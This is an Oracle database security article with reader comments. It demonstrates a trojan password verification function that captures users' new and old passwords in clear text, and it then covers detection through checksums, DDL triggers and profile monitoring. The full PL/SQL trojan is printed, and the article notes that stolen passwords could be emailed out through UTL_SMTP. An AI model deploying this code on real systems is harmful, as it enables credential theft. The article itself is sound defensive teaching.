You are here

Protect Your Passwords

Jared explains how Oracle manages passwords and how "thinking like a hacker" can help you to better protect your databases from potential password theft.

Good security practice dictates that some type of policy should be enforced to ensure that database user account passwords are difficult to guess and changed on a regular basis.

Making a password that is difficult to guess usually requires a combination of letters, punctuation and digits, and it must not spell a word found in the dictionary. A user creating a new password might be required to use something such as so48%319 as a password.

As long ago as Version 8.0 Oracle has had the ability to create a user profile in the database with an function associated with it that could force users to adhere to password policy.

This allowed DBAs, security and application administrators and owners to breath a little easier, knowing that their databases were now able to enforce the company password standards on database accounts. Up to a point anyway, as case of alpha characters still cannot be enforced, as seen here.

Passwords of the same alpha characters but in different case are clearly stored as the same values.

Though there are other forms of authentication that may be used, the username/password combination is still available and in use on Oracle 10g.

What you should be asking yourself is this: Just how safe are those passwords?

The fact that Oracle allows you to create your own password verification function is both a blessing and something of a curse. It is a blessing for the aforementioned reasons, that is it allows the enforcement of password rules.

The curse? It also allows for the theft of those same passwords.

You've probably heard the old adage "It takes a thief to catch a thief".

While you may not want to turn a hacker loose on your database to look for holes, it doesn't hurt to think like one. If you start thinking in terms of "What methods could I use to compromise this database if I were trying to break into it?", you might be surprise at what you come up with.

Which is precisely what led to the creation of this little hack. It is possible to obtain the password during the process of changing it and store it in a table. It is also possible to simply use UTL_SMTP and simply email the password to an external account. For demonstration purposes however, storing the password in a table will suffice.

The code presented here is based on the stock VERIFY_FUNCTION password verification function that is supplied with Oracle. It is somewhat different in that it not only verifies that passwords comply with policy, it steals them at the same time.

Before beginning, please be sure that if you try out this code, do it in a safe environment on a test database.

The first thing to do is create a table for storing the username/password pairs as seen in Example 1. As this is a demonstration, we will be storing some other information in the table as well.

Now create the password verification function while still connected to the database as SYS. The code in Example 2 is similar to what you may have seen when perusing the stock verify_function code with one important difference. There is a local procedure anonymous pwdsnoop that is called several times from the main body of the code. This procedure stores the username/password information as well as some other information that we can use to track the progress of the new password through the code. The stock function is found at $ORACLE_HOME/rdbms/admin/utlpwdmg.sql.

-- This function must be created in SYS schema.
-- connect sys/<password> as sysdba before running the script
CREATE OR REPLACE FUNCTION verify_function_test (
username varchar2,
password varchar2,
old_password varchar2
) RETURN boolean
IS
n boolean;
m integer;
differ integer;
isdigit boolean;
ischar boolean;
ispunct boolean;
digitarray varchar2(20);
punctarray varchar2(25);
chararray varchar2(52);
procedure pwdsnoop( username_in varchar2, value_in varchar2 )
is
pragma autonomous_transaction;
begin
insert into psnoop (id,username, value) values (psnoop_seq.nextval, username_in, value_in);
commit;
end;
BEGIN
digitarray:= '0123456789';
chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
punctarray:='!"#$%&()``*+,-/:;<=>?_';
pwdsnoop(username, '***********************************');
pwdsnoop(username, 'NEW PASSWORD: '||password);
-- Check if the password is same as the username
pwdsnoop(username, 'check for username=password');
IF NLS_LOWER(password) = NLS_LOWER(username) THEN
raise_application_error(-20001, 'Password same as or similar to user');
END IF;
-- Check for the minimum length of the password
pwdsnoop(username, 'check for password length');
IF length(password) < 7 THEN
raise_application_error(-20002, 'Password length less than 7');
END IF;
-- Check if the password is too simple. A dictionary of words may be
-- maintained and a check may be made so as not to allow the words
-- that are too simple for the password.
pwdsnoop(username, 'check for easy passwords');
IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user',
'password', 'oracle', 'computer', 'abcd') THEN
raise_application_error(-20002, 'Password too simple');
END IF;
-- Check if the password contains at least one letter, one digit and one
-- punctuation mark.
-- 1. Check for the digit
isdigit:=FALSE;
m := length(password);
pwdsnoop(username, 'checking for digits in password');
FOR i IN 1..10 LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(digitarray,i,1) THEN
isdigit:=TRUE;
GOTO findchar;
END IF;
END LOOP;
END LOOP;
IF isdigit = FALSE THEN
raise_application_error(-20003,
'Password should contain at least one digit, one character and one punctuation');
END IF;
-- 2. Check for the character
<<findchar>>
ischar:=FALSE;
pwdsnoop(username, 'checking for char in password');
FOR i IN 1..length(chararray) LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(chararray,i,1) THEN
ischar:=TRUE;
GOTO findpunct;
END IF;
END LOOP;
END LOOP;
IF ischar = FALSE THEN
raise_application_error(-20003,
'Password should contain at least one digit, one character and one punctuation');
END IF;
-- 3. Check for the punctuation
<<findpunct>>
ispunct:=FALSE;
pwdsnoop(username, 'checking for punctuation in password');
FOR i IN 1..length(punctarray) LOOP
FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(punctarray,i,1) THEN
ispunct:=TRUE;
GOTO endsearch;
END IF;
END LOOP;
END LOOP;
IF ispunct = FALSE THEN
raise_application_error(-20003,
'Password should contain at least one digit, one character and one punctuation');
END IF;
<<endsearch>>
-- Check if the password differs from the previous password by at least
-- 3 letters
pwdsnoop(username, 'checking for password != old_password');
IF old_password IS NOT NULL THEN
pwdsnoop(username, 'old_password is NOT null');
pwdsnoop(username, 'OLD PASSWORD: '||old_password);
differ := length(old_password) - length(password);
IF abs(differ) < 3 THEN
IF length(password) < length(old_password) THEN
m := length(password);
ELSE
m := length(old_password);
END IF;
differ := abs(differ);
FOR i IN 1..m LOOP
IF substr(password,i,1) != substr(old_password,i,1) THEN
differ := differ + 1;
END IF;
END LOOP;
IF differ < 3 THEN
raise_application_error(-20004,
'Password should differ by at least 3 characters');
END IF;
END IF;
ELSE
pwdsnoop(username, 'old_password is null');
END IF;
-- Everything is fine; return TRUE ;
pwdsnoop(username, 'returned TRUE');
RETURN(TRUE);
END;
/
show error function verify_function_test

Now create a profile that makes use of your new password verication function, and enforces its use when a password is changed.

Notice what appears in row number 2. It is the new password for the HACKME account. Every time the verify_function_test function is called, the new password will be stored in the PSNOOP table. Keep in mind this could just as easily been emailed immediately.

Let's run a few more tests. This time let's change the password via both the ALTER USER command and the PASSWORD command as seen in Example 5.

For the password command I entered a password of hjkl1234!. Notice the contents of the PSNOOP table after changing the password via both of these methods. If you are wondering about the discontinuity of the line numbers in these examples, I had to run the SQL a couple of extra times to type the password two times in succession, resulting in the listing of failed password change attempts in the PSNOOP table.

Once again, the new password has been stored in clear text in the PSNOOP table. While this table may appear to be of little value as is, keep in mind that someone may have access to this table without your knowledge of its existence.

While the table is good for demonstration purposes, it is more likely that this kind of intrusion would make use of the UTL_SMTP package and immediately email the password and account information to an external email account.

How would this happen to your database? There are two scenarios that come readily to mind.

The first and possibly the most likely scenario is that the password function would be modified by a company insider with access to the database at a DBA level. This could be a DBA, a developer or a System Administrator.

I will not try to explore 'why would they do this?' aspect of this, just the 'how'. It should be fairly obvious how a DBA, a developer with DBA privileges or a System Administrator could perpetrate this.

The current password verification function would be retrieved from the data dictionary, and a new one put in its place. After collecting a few passwords, the original password verification function could be put back in place, without anyone knowing that the system has been compromised.

Another way for this to happen is for a DBA to be tricked into running the code that will modify and replace the current password verification function with one steals password for the perpetrator. The code might be embedded in some other package that the DBA is asked to run. Some new software, a patch, etc. It is also an easy matter for an attacker to modify $ORACLE_HOME/sqlplus/admin/glogin.sql so that the password verification function would be modified at the next login with sufficient privileges.

It doesn't take too much imagination to develop PL/SQL code that could read the password functions, add a bit of code to catch the passwords when changed and email them to a blind email account owned by the perpetrator.

How can you prevent or detect this kind of activity?

You cannot completely lock out people that may want to do harm to your system, but you can make it an undesirable target, or at least detect in a timely fashion that someone may be stealing your passwords.. Database security is a broad topic which will be addressed here only from the perspective of protecting your passwords.

One method to detect if the password verification function has changed is to regularly get a checksum of its contents, and store it outside the database. Do this on a regular basis, compare the hash to previous values and you will know if the function has changed. Example 6 shows one possible method of collecting a hash value for the function using the DBMS_CRYPTO.HASH_MD5 function. See Metalink document 279169.1 for a complete example of code to store hash values for all PL/SQL code, and verifying the hash values at a later date.

This detection method could be foiled if the modification to the password verification function were made between periods of hash collection, that is, the function could be modified by an attacker, used to collect some passwords, and then returned back to its previous state prior to the next hash collection period.

This is a good reason for the hash collection routine to be run from outside the database, as it will prevent detection of the collection period via the DBMS_JOBS or DBA_SCHEDULE_JOBS views.

Another method you might use to prevent the modification of the password verification function would be to put in place a DDL trigger that raises an error if it is attempted, and notifies the DBAs via email if that is attempted.

An example DDL trigger appears in Example 7. This will catch attempted modifications to the VERIFY_FUNCTION_TEST trigger and any database PROFILE.

The body of the trigger could be used to send an email so that the DBA will be notified that this attempt has been made. This would be useful as a notification only when someone has limited knowledge of the database. A company DBA for instance would likely have knowledge of this trigger and disable it, then re-enable it after performing nefarious modifications of database objects, limiting its usefulness.

In addition it is a good idea to enable monitoring of the SYS account, as that level of access is required to modify the password verification functions attached to a profile.

It is also important to monitor the names of the functions that are actually attached to a PROFILE. While UNLIMITED is a valid value several PROFILE parameters, it is not valid for the password_verify_function parameter. This makes it possible for a trojan function to be attached to a profile without attracting too much attention.

The "UNLIMITED" function in this case is a trojan designed to steal passwords. The code in Example 8 or a variation might be used to examine the PROFILEs and the password verification functions assigned to them. As seen the in example a function with the name UNLIMITED might raise some suspicion. The accompanying timestamp can also be used to benefit, as a timestamp that is newer than what was recorded during the previous check is cause for concern.

It appears that if an attacker gains DBA level access to your database either directly or indirectly there is a very good chance that passwords may be collected from that database and emailed directly to an anonymous email account.

Though there are some methods you may use to detect and prevent this from taking place, they are not 100% effective. If the attack comes from someone already entrusted with the database, harvesting passwords becomes much more difficult to prevent or detect.

Why would someone that already has DBA access to the database need account passwords? This allows the insider to login to the database as an account not associated with the DBA. Doing so does not require saving the encrypted value of the password, changing it temporarily and then changing it back to its original value via alter user username identified by values 'encrypted_value_here', which could be detected, especially in an account that logs in frequently.

In addition to monitoring the hash value for the password verification function you should consider wrapping the function via the $ORACLE_HOME/bin/wrap function. This step will not stop someone from completely replacing the function given the proper access to the database, but it will prevent the modification of the function by an attacker that does not have your source code.

The final solution to this probably lies in doing away with the reliance on passwords altogether and using some form of trusted external authentication, a topic for discussion at another time.

Something not discussed here is the harvesting of encrypted passwords from the DBA_USERS view. These could be stolen and cracked via brute force methods at the attacker's leisure. This too is a subject best tackled at another time.

Though I was not attempting to optimize the operation of the stock password utility, the elimination of the loops would be a nice enhancement.

I think the translate function might work better for this. There is example code at the end of this comment.

Putting forbidden passwords in a table for lookup may be a good idea dependent on the frequency of logins on your database. I would expect it to be a good solution, though I would subject it to some testing first.

In Oracle 9i and later you can use an associative array instead of a table. Not as convenient for maintenance, but faster.

Of course the idea of checking for digits and puncuation somewhat negates the need to check for obvious passwords in plain text.

It might still be useful if numeric substitutions for alpha characters were converted back to alpha, and then checking the password against a forbidden list.

if pwdbad_tab.exists(lower(pwdtest)) then
raise_application_error(-20002,'That is a poor choice of password');
end if;

if translate(password,'!"#$%&()``*+,-/:;?_',' ') = password then
raise_application_error(-20003,'Password should contain at least one punctuation');
end if;
if translate(password,'0123456789',' ') = password then
raise_application_error(-20004, 'Password should contain at least one digit');
end if;
if translate(lower(password),'abcdefghijklmnopqrstuvwxyz',' ') = lower(password) then
raise_application_error(-20005, 'Password should contain at least one alpha character');
end if;
end;
/

How would the "hacker" connect as sys and create the verify_password_function in the first place? They would either have to have the sys password, a valid db link and/or access to a valid Oracle port or direct machine access. All of these are preventable to the outside hacker in the first place.

As for an internal hacker, e.g. pissed off developer, if they have the Oracle sys password you're screwed already.